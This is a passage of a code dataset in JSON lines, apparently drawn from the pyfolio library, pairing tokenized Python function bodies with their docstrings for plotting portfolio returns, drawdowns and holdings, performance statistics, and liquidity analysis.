hspace=<NUM_LIT:0.5>)<EOL>perf_attrib.plot_returns(perf_attrib_data,<EOL>ax=plt.subplot(gs[current_section]))<EOL>current_section += <NUM_LIT:1><EOL>if factor_partitions is not None:<EOL><INDENT>for factor_type, partitions in factor_partitions.iteritems():<EOL><INDENT>columns_to_select = perf_attrib_data.columns.intersection(<EOL>partitions<EOL>)<EOL>perf_attrib.plot_factor_contribution_to_perf(<EOL>perf_attrib_data[columns_to_select],<EOL>ax=plt.subplot(gs[current_section]),<EOL>title=(<EOL>'<STR_LIT>'<EOL>).format(factor_type)<EOL>)<EOL>current_section += <NUM_LIT:1><EOL><DEDENT>for factor_type, partitions in factor_partitions.iteritems():<EOL><INDENT>perf_attrib.plot_risk_exposures(<EOL>portfolio_exposures[portfolio_exposures.columns<EOL>.intersection(partitions)],<EOL>ax=plt.subplot(gs[current_section]),<EOL>title='<STR_LIT>'.format(factor_type)<EOL>)<EOL>current_section += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>perf_attrib.plot_factor_contribution_to_perf(<EOL>perf_attrib_data,<EOL>ax=plt.subplot(gs[current_section])<EOL>)<EOL>current_section += <NUM_LIT:1><EOL>perf_attrib.plot_risk_exposures(<EOL>portfolio_exposures,<EOL>ax=plt.subplot(gs[current_section])<EOL>)<EOL><DEDENT>gs.tight_layout(fig)<EOL>if return_fig:<EOL><INDENT>return fig<EOL><DEDENT>", "docstring": "Generate plots and tables for analyzing a strategy's performance.\n\nParameters\n----------\nreturns : pd.Series\n    Returns for each day in the date range.\n\npositions: pd.DataFrame\n    Daily holdings (in dollars or percentages), indexed by date.\n    Will be converted to percentages if positions are in dollars.\n    Short positions show up as cash in the 'cash' column.\n\nfactor_returns : pd.DataFrame\n    Returns by factor, with date as index and factors as columns\n\nfactor_loadings : pd.DataFrame\n    Factor loadings for all days in the date range, with date\n    and ticker as index, and factors as columns.\n\ntransactions : pd.DataFrame, optional\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in create_full_tear_sheet.\n     - Default is None.\n\npos_in_dollars : boolean, optional\n    Flag indicating whether `positions` are in dollars or percentages\n    If True, positions are in dollars.\n\nreturn_fig : boolean, optional\n    If True, returns the figure that was plotted on.\n\nfactor_partitions : dict\n    dict specifying how factors should be separated in factor returns\n    and risk exposures plots\n    - Example:\n      {'style': ['momentum', 'size', 'value', ...],\n       'sector': ['technology', 'materials', ... ]}", "id": "f12208:m11"}
{"signature": "def daily_txns_with_bar_data(transactions, market_data):", "body": "transactions.index.name = '<STR_LIT:date>'<EOL>txn_daily = pd.DataFrame(transactions.assign(<EOL>amount=abs(transactions.amount)).groupby(<EOL>['<STR_LIT>', pd.TimeGrouper('<STR_LIT:D>')]).sum()['<STR_LIT>'])<EOL>txn_daily['<STR_LIT>'] = market_data['<STR_LIT>'].unstack()<EOL>txn_daily['<STR_LIT>'] = market_data['<STR_LIT>'].unstack()<EOL>txn_daily = txn_daily.reset_index().set_index('<STR_LIT:date>')<EOL>return txn_daily<EOL>", "docstring": "Sums the absolute value of shares traded in each name on each day.\nAdds columns containing the closing price and total daily volume for\neach day-ticker combination.\n\nParameters\n----------\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n    - See full explanation in tears.create_full_tear_sheet\nmarket_data : pd.Panel\n    Contains \"volume\" and \"price\" DataFrames for the tickers\n    in the passed positions DataFrames\n\nReturns\n-------\ntxn_daily : pd.DataFrame\n    Daily totals for transacted shares in each traded name.\n    price and volume columns for close price and daily volume for\n    the corresponding ticker, respectively.", "id": "f12209:m0"}
{"signature": "def days_to_liquidate_positions(positions, market_data,<EOL>max_bar_consumption=<NUM_LIT>,<EOL>capital_base=<NUM_LIT>,<EOL>mean_volume_window=<NUM_LIT:5>):", "body": "DV = market_data['<STR_LIT>'] * market_data['<STR_LIT>']<EOL>roll_mean_dv = DV.rolling(window=mean_volume_window,<EOL>center=False).mean().shift()<EOL>roll_mean_dv = roll_mean_dv.replace(<NUM_LIT:0>, np.nan)<EOL>positions_alloc = pos.get_percent_alloc(positions)<EOL>positions_alloc = positions_alloc.drop('<STR_LIT>', axis=<NUM_LIT:1>)<EOL>days_to_liquidate = (positions_alloc * capital_base) /(max_bar_consumption * roll_mean_dv)<EOL>return days_to_liquidate.iloc[mean_volume_window:]<EOL>", "docstring": "Compute the number of days that would have been required\nto fully liquidate each position on each day based on the\ntrailing n day mean daily bar volume and a limit on the proportion\nof a daily bar that we are allowed to consume.\n\nThis analysis uses portfolio allocations and a provided capital base\nrather than the dollar values in the positions DataFrame to remove the\neffect of compounding on days to liquidate. In other words, this function\nassumes that the net liquidation portfolio value will always remain\nconstant at capital_base.\n\nParameters\n----------\npositions: pd.DataFrame\n    Contains daily position values including cash\n    - See full explanation in tears.create_full_tear_sheet\nmarket_data : pd.Panel\n    Panel with items axis of 'price' and 'volume' DataFrames.\n    The major and minor axes should match those of the\n    the passed positions DataFrame (same dates and symbols).\nmax_bar_consumption : float\n    Max proportion of a daily bar that can be consumed in the\n    process of liquidating a position.\ncapital_base : integer\n    Capital base multiplied by portfolio allocation to compute\n    position value that needs liquidating.\nmean_volume_window : float\n    Trailing window to use in mean volume calculation.\n\nReturns\n-------\ndays_to_liquidate : pd.DataFrame\n    Number of days required to fully liquidate daily positions.\n    Datetime index, symbols as columns.", "id": "f12209:m1"}
{"signature": "def get_max_days_to_liquidate_by_ticker(positions, market_data,<EOL>max_bar_consumption=<NUM_LIT>,<EOL>capital_base=<NUM_LIT>,<EOL>mean_volume_window=<NUM_LIT:5>,<EOL>last_n_days=None):", "body": "dtlp = days_to_liquidate_positions(positions, market_data,<EOL>max_bar_consumption=max_bar_consumption,<EOL>capital_base=capital_base,<EOL>mean_volume_window=mean_volume_window)<EOL>if last_n_days is not None:<EOL><INDENT>dtlp = dtlp.loc[dtlp.index.max() - pd.Timedelta(days=last_n_days):]<EOL><DEDENT>pos_alloc = pos.get_percent_alloc(positions)<EOL>pos_alloc = pos_alloc.drop('<STR_LIT>', axis=<NUM_LIT:1>)<EOL>liq_desc = pd.DataFrame()<EOL>liq_desc['<STR_LIT>'] = dtlp.unstack()<EOL>liq_desc['<STR_LIT>'] = pos_alloc.unstack() * <NUM_LIT:100><EOL>liq_desc.index.levels[<NUM_LIT:0>].name = '<STR_LIT>'<EOL>liq_desc.index.levels[<NUM_LIT:1>].name = '<STR_LIT:date>'<EOL>worst_liq = liq_desc.reset_index().sort_values(<EOL>'<STR_LIT>', ascending=False).groupby('<STR_LIT>').first()<EOL>return worst_liq<EOL>", "docstring": "Finds the longest estimated liquidation time for each traded\nname over the course of backtest (or last n days of the backtest).\n\nParameters\n----------\npositions: pd.DataFrame\n    Contains daily position values including cash\n    - See full explanation in tears.create_full_tear_sheet\nmarket_data : pd.Panel\n    Panel with items axis of 'price' and 'volume' DataFrames.\n    The major and minor axes should match those of the\n    the passed positions DataFrame (same dates and symbols).\nmax_bar_consumption : float\n    Max proportion of a daily bar that can be consumed in the\n    process of liquidating a position.\ncapital_base : integer\n    Capital base multiplied by portfolio allocation to compute\n    position value that needs liquidating.\nmean_volume_window : float\n    Trailing window to use in mean volume calculation.\nlast_n_days : integer\n    Compute for only the last n days of the passed backtest data.\n\nReturns\n-------\ndays_to_liquidate : pd.DataFrame\n    Max Number of days required to fully liquidate each traded name.\n    Index of symbols. Columns for days_to_liquidate and the corresponding\n    date and position_alloc on that day.", "id": "f12209:m2"}
{"signature": "def get_low_liquidity_transactions(transactions, market_data,<EOL>last_n_days=None):", "body": "txn_daily_w_bar = daily_txns_with_bar_data(transactions, market_data)<EOL>txn_daily_w_bar.index.name = '<STR_LIT:date>'<EOL>txn_daily_w_bar = txn_daily_w_bar.reset_index()<EOL>if last_n_days is not None:<EOL><INDENT>md = txn_daily_w_bar.date.max() - pd.Timedelta(days=last_n_days)<EOL>txn_daily_w_bar = txn_daily_w_bar[txn_daily_w_bar.date > md]<EOL><DEDENT>bar_consumption = txn_daily_w_bar.assign(<EOL>max_pct_bar_consumed=(<EOL>txn_daily_w_bar.amount/txn_daily_w_bar.volume)*<NUM_LIT:100><EOL>).sort_values('<STR_LIT>', ascending=False)<EOL>max_bar_consumption = bar_consumption.groupby('<STR_LIT>').first()<EOL>return max_bar_consumption[['<STR_LIT:date>', '<STR_LIT>']]<EOL>", "docstring": "For each traded name, find the daily transaction total that consumed\nthe greatest proportion of available daily bar volume.\n\nParameters\n----------\ntransactions : pd.DataFrame\n    Prices and amounts of executed trades. One row per trade.\n     - See full explanation in create_full_tear_sheet.\nmarket_data : pd.Panel\n    Panel with items axis of 'price' and 'volume' DataFrames.\n    The major and minor axes should match those of the\n    the passed positions DataFrame (same dates and symbols).\nlast_n_days : integer\n    Compute for only the last n days of the passed backtest data.", "id": "f12209:m3"}
{"signature": "def customize(func):", "body": "@wraps(func)<EOL>def call_w_context(*args, **kwargs):<EOL><INDENT>set_context = kwargs.pop('<STR_LIT>', True)<EOL>if set_context:<EOL><INDENT>with plotting_context(), axes_style():<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return func(*args, **kwargs)<EOL><DEDENT><DEDENT>return call_w_context<EOL>", "docstring": "Decorator to set plotting context and axes style during function call.", "id": "f12210:m0"}
{"signature": "def plotting_context(context='<STR_LIT>', font_scale=<NUM_LIT>, rc=None):", "body": "if rc is None:<EOL><INDENT>rc = {}<EOL><DEDENT>rc_default = {'<STR_LIT>': <NUM_LIT>}<EOL>for name, val in rc_default.items():<EOL><INDENT>rc.setdefault(name, val)<EOL><DEDENT>return sns.plotting_context(context=context, font_scale=font_scale, rc=rc)<EOL>", "docstring": "Create pyfolio default plotting style context.\n\nUnder the hood, calls and returns seaborn.plotting_context() with\nsome custom settings. Usually you would use in a with-context.\n\nParameters\n----------\ncontext : str, optional\n    Name of seaborn context.\nfont_scale : float, optional\n    Scale font by factor font_scale.\nrc : dict, optional\n    Config flags.\n    By default, {'lines.linewidth': 1.5}\n    is being used and will be added to any\n    rc passed in, unless explicitly overriden.\n\nReturns\n-------\nseaborn plotting context\n\nExample\n-------\n>>> with pyfolio.plotting.plotting_context(font_scale=2):\n>>>    pyfolio.create_full_tear_sheet(..., set_context=False)\n\nSee also\n--------\nFor more information, see seaborn.plotting_context().", "id": "f12210:m1"}
{"signature": "def axes_style(style='<STR_LIT>', rc=None):", "body": "if rc is None:<EOL><INDENT>rc = {}<EOL><DEDENT>rc_default = {}<EOL>for name, val in rc_default.items():<EOL><INDENT>rc.setdefault(name, val)<EOL><DEDENT>return sns.axes_style(style=style, rc=rc)<EOL>", "docstring": "Create pyfolio default axes style context.\n\nUnder the hood, calls and returns seaborn.axes_style() with\nsome custom settings. Usually you would use in a with-context.\n\nParameters\n----------\nstyle : str, optional\n    Name of seaborn style.\nrc : dict, optional\n    Config flags.\n\nReturns\n-------\nseaborn plotting context\n\nExample\n-------\n>>> with pyfolio.plotting.axes_style(style='whitegrid'):\n>>>    pyfolio.create_full_tear_sheet(..., set_context=False)\n\nSee also\n--------\nFor more information, see seaborn.plotting_context().", "id": "f12210:m2"}
{"signature": "def plot_monthly_returns_heatmap(returns, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>monthly_ret_table = ep.aggregate_returns(returns, '<STR_LIT>')<EOL>monthly_ret_table = monthly_ret_table.unstack().round(<NUM_LIT:3>)<EOL>sns.heatmap(<EOL>monthly_ret_table.fillna(<NUM_LIT:0>) *<EOL><NUM_LIT>,<EOL>annot=True,<EOL>annot_kws={\"<STR_LIT:size>\": <NUM_LIT:9>},<EOL>alpha=<NUM_LIT:1.0>,<EOL>center=<NUM_LIT:0.0>,<EOL>cbar=False,<EOL>cmap=matplotlib.cm.RdYlGn,<EOL>ax=ax, **kwargs)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>ax.set_title(\"<STR_LIT>\")<EOL>return ax<EOL>", "docstring": "Plots a heatmap of returns by month.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to seaborn plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m3"}
{"signature": "def plot_annual_returns(returns, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>x_axis_formatter = FuncFormatter(utils.percentage)<EOL>ax.xaxis.set_major_formatter(FuncFormatter(x_axis_formatter))<EOL>ax.tick_params(axis='<STR_LIT:x>', which='<STR_LIT>')<EOL>ann_ret_df = pd.DataFrame(<EOL>ep.aggregate_returns(<EOL>returns,<EOL>'<STR_LIT>'))<EOL>ax.axvline(<EOL><NUM_LIT:100> *<EOL>ann_ret_df.values.mean(),<EOL>color='<STR_LIT>',<EOL>linestyle='<STR_LIT>',<EOL>lw=<NUM_LIT:4>,<EOL>alpha=<NUM_LIT>)<EOL>(<NUM_LIT:100> * ann_ret_df.sort_index(ascending=False)<EOL>).plot(ax=ax, kind='<STR_LIT>', alpha=<NUM_LIT>, **kwargs)<EOL>ax.axvline(<NUM_LIT:0.0>, color='<STR_LIT>', linestyle='<STR_LIT:->', lw=<NUM_LIT:3>)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>ax.set_title(\"<STR_LIT>\")<EOL>ax.legend(['<STR_LIT>'], frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>return ax<EOL>", "docstring": "Plots a bar graph of returns by year.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m4"}
{"signature": "def plot_monthly_returns_dist(returns, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>x_axis_formatter = FuncFormatter(utils.percentage)<EOL>ax.xaxis.set_major_formatter(FuncFormatter(x_axis_formatter))<EOL>ax.tick_params(axis='<STR_LIT:x>', which='<STR_LIT>')<EOL>monthly_ret_table = ep.aggregate_returns(returns, '<STR_LIT>')<EOL>ax.hist(<EOL><NUM_LIT:100> * monthly_ret_table,<EOL>color='<STR_LIT>',<EOL>alpha=<NUM_LIT>,<EOL>bins=<NUM_LIT:20>,<EOL>**kwargs)<EOL>ax.axvline(<EOL><NUM_LIT:100> * monthly_ret_table.mean(),<EOL>color='<STR_LIT>',<EOL>linestyle='<STR_LIT>',<EOL>lw=<NUM_LIT:4>,<EOL>alpha=<NUM_LIT:1.0>)<EOL>ax.axvline(<NUM_LIT:0.0>, color='<STR_LIT>', linestyle='<STR_LIT:->', lw=<NUM_LIT:3>, alpha=<NUM_LIT>)<EOL>ax.legend(['<STR_LIT>'], frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>ax.set_title(\"<STR_LIT>\")<EOL>return ax<EOL>", "docstring": "Plots a distribution of monthly returns.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m5"}
{"signature": "def plot_holdings(returns, positions, legend_loc='<STR_LIT>', ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>positions = positions.copy().drop('<STR_LIT>', axis='<STR_LIT>')<EOL>df_holdings = positions.replace(<NUM_LIT:0>, np.nan).count(axis=<NUM_LIT:1>)<EOL>df_holdings_by_month = df_holdings.resample('<STR_LIT>').mean()<EOL>df_holdings.plot(color='<STR_LIT>', alpha=<NUM_LIT>, lw=<NUM_LIT:0.5>, ax=ax, **kwargs)<EOL>df_holdings_by_month.plot(<EOL>color='<STR_LIT>',<EOL>lw=<NUM_LIT:2>,<EOL>ax=ax,<EOL>**kwargs)<EOL>ax.axhline(<EOL>df_holdings.values.mean(),<EOL>color='<STR_LIT>',<EOL>ls='<STR_LIT>',<EOL>lw=<NUM_LIT:3>)<EOL>ax.set_xlim((returns.index[<NUM_LIT:0>], returns.index[-<NUM_LIT:1>]))<EOL>leg = ax.legend(['<STR_LIT>',<EOL>'<STR_LIT>',<EOL>'<STR_LIT>'],<EOL>loc=legend_loc, frameon=True,<EOL>framealpha=<NUM_LIT:0.5>)<EOL>leg.get_frame().set_edgecolor('<STR_LIT>')<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots total amount of stocks with an active position, either short\nor long. Displays daily total, daily average per month, and\nall-time daily average.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\npositions : pd.DataFrame, optional\n    Daily net position values.\n     - See full explanation in tears.create_full_tear_sheet.\nlegend_loc : matplotlib.loc, optional\n    The location of the legend on the plot.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m6"}
{"signature": "def plot_long_short_holdings(returns, positions,<EOL>legend_loc='<STR_LIT>', ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>positions = positions.drop('<STR_LIT>', axis='<STR_LIT>')<EOL>positions = positions.replace(<NUM_LIT:0>, np.nan)<EOL>df_longs = positions[positions > <NUM_LIT:0>].count(axis=<NUM_LIT:1>)<EOL>df_shorts = positions[positions < <NUM_LIT:0>].count(axis=<NUM_LIT:1>)<EOL>lf = ax.fill_between(df_longs.index, <NUM_LIT:0>, df_longs.values,<EOL>color='<STR_LIT:g>', alpha=<NUM_LIT:0.5>, lw=<NUM_LIT>)<EOL>sf = ax.fill_between(df_shorts.index, <NUM_LIT:0>, df_shorts.values,<EOL>color='<STR_LIT:r>', alpha=<NUM_LIT:0.5>, lw=<NUM_LIT>)<EOL>bf = patches.Rectangle([<NUM_LIT:0>, <NUM_LIT:0>], <NUM_LIT:1>, <NUM_LIT:1>, color='<STR_LIT>')<EOL>leg = ax.legend([lf, sf, bf],<EOL>['<STR_LIT>' % (df_longs.max(),<EOL>df_longs.min()),<EOL>'<STR_LIT>' % (df_shorts.max(),<EOL>df_shorts.min()),<EOL>'<STR_LIT>'], loc=legend_loc, frameon=True,<EOL>framealpha=<NUM_LIT:0.5>)<EOL>leg.get_frame().set_edgecolor('<STR_LIT>')<EOL>ax.set_xlim((returns.index[<NUM_LIT:0>], returns.index[-<NUM_LIT:1>]))<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots total amount of stocks with an active position, breaking out\nshort and long into transparent filled regions.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\npositions : pd.DataFrame, optional\n    Daily net position values.\n     - See full explanation in tears.create_full_tear_sheet.\nlegend_loc : matplotlib.loc, optional\n    The location of the legend on the plot.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m7"}
{"signature": "def plot_drawdown_periods(returns, top=<NUM_LIT:10>, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>y_axis_formatter = FuncFormatter(utils.two_dec_places)<EOL>ax.yaxis.set_major_formatter(FuncFormatter(y_axis_formatter))<EOL>df_cum_rets = ep.cum_returns(returns, starting_value=<NUM_LIT:1.0>)<EOL>df_drawdowns = timeseries.gen_drawdown_table(returns, top=top)<EOL>df_cum_rets.plot(ax=ax, **kwargs)<EOL>lim = ax.get_ylim()<EOL>colors = sns.cubehelix_palette(len(df_drawdowns))[::-<NUM_LIT:1>]<EOL>for i, (peak, recovery) in df_drawdowns[<EOL>['<STR_LIT>', '<STR_LIT>']].iterrows():<EOL><INDENT>if pd.isnull(recovery):<EOL><INDENT>recovery = returns.index[-<NUM_LIT:1>]<EOL><DEDENT>ax.fill_between((peak, recovery),<EOL>lim[<NUM_LIT:0>],<EOL>lim[<NUM_LIT:1>],<EOL>alpha=<NUM_LIT>,<EOL>color=colors[i])<EOL><DEDENT>ax.set_ylim(lim)<EOL>ax.set_title('<STR_LIT>' % top)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.legend(['<STR_LIT>'], loc='<STR_LIT>',<EOL>frameon=True, framealpha=<NUM_LIT:0.5>)<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots cumulative returns highlighting top drawdown periods.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\ntop : int, optional\n    Amount of top drawdowns periods to plot (default 10).\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m8"}
{"signature": "def plot_drawdown_underwater(returns, ax=None, **kwargs):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>y_axis_formatter = FuncFormatter(utils.percentage)<EOL>ax.yaxis.set_major_formatter(FuncFormatter(y_axis_formatter))<EOL>df_cum_rets = ep.cum_returns(returns, starting_value=<NUM_LIT:1.0>)<EOL>running_max = np.maximum.accumulate(df_cum_rets)<EOL>underwater = -<NUM_LIT:100> * ((running_max - df_cum_rets) / running_max)<EOL>(underwater).plot(ax=ax, kind='<STR_LIT>', color='<STR_LIT>', alpha=<NUM_LIT>, **kwargs)<EOL>ax.set_ylabel('<STR_LIT>')<EOL>ax.set_title('<STR_LIT>')<EOL>ax.set_xlabel('<STR_LIT>')<EOL>return ax<EOL>", "docstring": "Plots how far underwaterr returns are over time, or plots current\ndrawdown vs. date.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m9"}
{"signature": "def plot_perf_stats(returns, factor_returns, ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>bootstrap_values = timeseries.perf_stats_bootstrap(returns,<EOL>factor_returns,<EOL>return_stats=False)<EOL>bootstrap_values = bootstrap_values.drop('<STR_LIT>', axis='<STR_LIT>')<EOL>sns.boxplot(data=bootstrap_values, orient='<STR_LIT:h>', ax=ax)<EOL>return ax<EOL>", "docstring": "Create box plot of some performance metrics of the strategy.\nThe width of the box whiskers is determined by a bootstrap.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nfactor_returns : pd.Series\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - This is in the same style as returns.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m10"}
{"signature": "def show_perf_stats(returns, factor_returns=None, positions=None,<EOL>transactions=None, turnover_denom='<STR_LIT>',<EOL>live_start_date=None, bootstrap=False,<EOL>header_rows=None):", "body": "if bootstrap:<EOL><INDENT>perf_func = timeseries.perf_stats_bootstrap<EOL><DEDENT>else:<EOL><INDENT>perf_func = timeseries.perf_stats<EOL><DEDENT>perf_stats_all = perf_func(<EOL>returns,<EOL>factor_returns=factor_returns,<EOL>positions=positions,<EOL>transactions=transactions,<EOL>turnover_denom=turnover_denom)<EOL>date_rows = OrderedDict()<EOL>if len(returns.index) > <NUM_LIT:0>:<EOL><INDENT>date_rows['<STR_LIT>'] = returns.index[<NUM_LIT:0>].strftime('<STR_LIT>')<EOL>date_rows['<STR_LIT>'] = returns.index[-<NUM_LIT:1>].strftime('<STR_LIT>')<EOL><DEDENT>if live_start_date is not None:<EOL><INDENT>live_start_date = ep.utils.get_utc_timestamp(live_start_date)<EOL>returns_is = returns[returns.index < live_start_date]<EOL>returns_oos = returns[returns.index >= live_start_date]<EOL>positions_is = None<EOL>positions_oos = None<EOL>transactions_is = None<EOL>transactions_oos = None<EOL>if positions is not None:<EOL><INDENT>positions_is = positions[positions.index < live_start_date]<EOL>positions_oos = positions[positions.index >= live_start_date]<EOL>if transactions is not None:<EOL><INDENT>transactions_is = transactions[(transactions.index <<EOL>live_start_date)]<EOL>transactions_oos = transactions[(transactions.index ><EOL>live_start_date)]<EOL><DEDENT><DEDENT>perf_stats_is = perf_func(<EOL>returns_is,<EOL>factor_returns=factor_returns,<EOL>positions=positions_is,<EOL>transactions=transactions_is,<EOL>turnover_denom=turnover_denom)<EOL>perf_stats_oos = perf_func(<EOL>returns_oos,<EOL>factor_returns=factor_returns,<EOL>positions=positions_oos,<EOL>transactions=transactions_oos,<EOL>turnover_denom=turnover_denom)<EOL>if len(returns.index) > <NUM_LIT:0>:<EOL><INDENT>date_rows['<STR_LIT>'] = int(len(returns_is) /<EOL>APPROX_BDAYS_PER_MONTH)<EOL>date_rows['<STR_LIT>'] = int(len(returns_oos) /<EOL>APPROX_BDAYS_PER_MONTH)<EOL><DEDENT>perf_stats = pd.concat(OrderedDict([<EOL>('<STR_LIT>', perf_stats_is),<EOL>('<STR_LIT>', perf_stats_oos),<EOL>('<STR_LIT>', perf_stats_all),<EOL>]), axis=<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>if len(returns.index) > <NUM_LIT:0>:<EOL><INDENT>date_rows['<STR_LIT>'] = int(len(returns) /<EOL>APPROX_BDAYS_PER_MONTH)<EOL><DEDENT>perf_stats = pd.DataFrame(perf_stats_all, columns=['<STR_LIT>'])<EOL><DEDENT>for column in perf_stats.columns:<EOL><INDENT>for stat, value in perf_stats[column].iteritems():<EOL><INDENT>if stat in STAT_FUNCS_PCT:<EOL><INDENT>perf_stats.loc[stat, column] = str(np.round(value * <NUM_LIT:100>,<EOL><NUM_LIT:1>)) + '<STR_LIT:%>'<EOL><DEDENT><DEDENT><DEDENT>if header_rows is None:<EOL><INDENT>header_rows = date_rows<EOL><DEDENT>else:<EOL><INDENT>header_rows = OrderedDict(header_rows)<EOL>header_rows.update(date_rows)<EOL><DEDENT>utils.print_table(<EOL>perf_stats,<EOL>float_format='<STR_LIT>'.format,<EOL>header_rows=header_rows,<EOL>)<EOL>", "docstring": "Prints some performance metrics of the strategy.\n\n- Shows amount of time the strategy has been run in backtest and\n  out-of-sample (in live trading).\n\n- Shows Omega ratio, max drawdown, Calmar ratio, annual return,\n  stability, Sharpe ratio, annual volatility, alpha, and beta.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nfactor_returns : pd.Series, optional\n    Daily noncumulative returns of the benchmark factor to which betas are\n    computed. Usually a benchmark such as market returns.\n     - This is in the same style as returns.\npositions : pd.DataFrame, optional\n    Daily net position values.\n     - See full explanation in create_full_tear_sheet.\ntransactions : pd.DataFrame, optional\n    Prices and amounts of executed trades. One row per trade.\n    - See full explanation in tears.create_full_tear_sheet\nturnover_denom : str, optional\n    Either AGB or portfolio_value, default AGB.\n    - See full explanation in txn.get_turnover.\nlive_start_date : datetime, optional\n    The point in time when the strategy began live trading, after\n    its backtest period.\nbootstrap : boolean, optional\n    Whether to perform bootstrap analysis for the performance\n    metrics.\n     - For more information, see timeseries.perf_stats_bootstrap\nheader_rows : dict or OrderedDict, optional\n    Extra rows to display at the top of the displayed table.", "id": "f12210:m11"}
{"signature": "def plot_returns(returns,<EOL>live_start_date=None,<EOL>ax=None):", "body": "if ax is None:<EOL><INDENT>ax = plt.gca()<EOL><DEDENT>ax.set_label('<STR_LIT>')<EOL>ax.set_ylabel('<STR_LIT>')<EOL>if live_start_date is not None:<EOL><INDENT>live_start_date = ep.utils.get_utc_timestamp(live_start_date)<EOL>is_returns = returns.loc[returns.index < live_start_date]<EOL>oos_returns = returns.loc[returns.index >= live_start_date]<EOL>is_returns.plot(ax=ax, color='<STR_LIT:g>')<EOL>oos_returns.plot(ax=ax, color='<STR_LIT:r>')<EOL><DEDENT>else:<EOL><INDENT>returns.plot(ax=ax, color='<STR_LIT:g>')<EOL><DEDENT>return ax<EOL>", "docstring": "Plots raw returns over time.\n\nBacktest returns are in green, and out-of-sample (live trading)\nreturns are in red.\n\nParameters\n----------\nreturns : pd.Series\n    Daily returns of the strategy, noncumulative.\n     - See full explanation in tears.create_full_tear_sheet.\nlive_start_date : datetime, optional\n    The date when the strategy began live trading, after\n    its backtest period. This date should be normalized.\nax : matplotlib.Axes, optional\n    Axes upon which to plot.\n**kwargs, optional\n    Passed to plotting function.\n\nReturns\n-------\nax : matplotlib.Axes\n    The axes that were plotted on.", "id": "f12210:m12"}
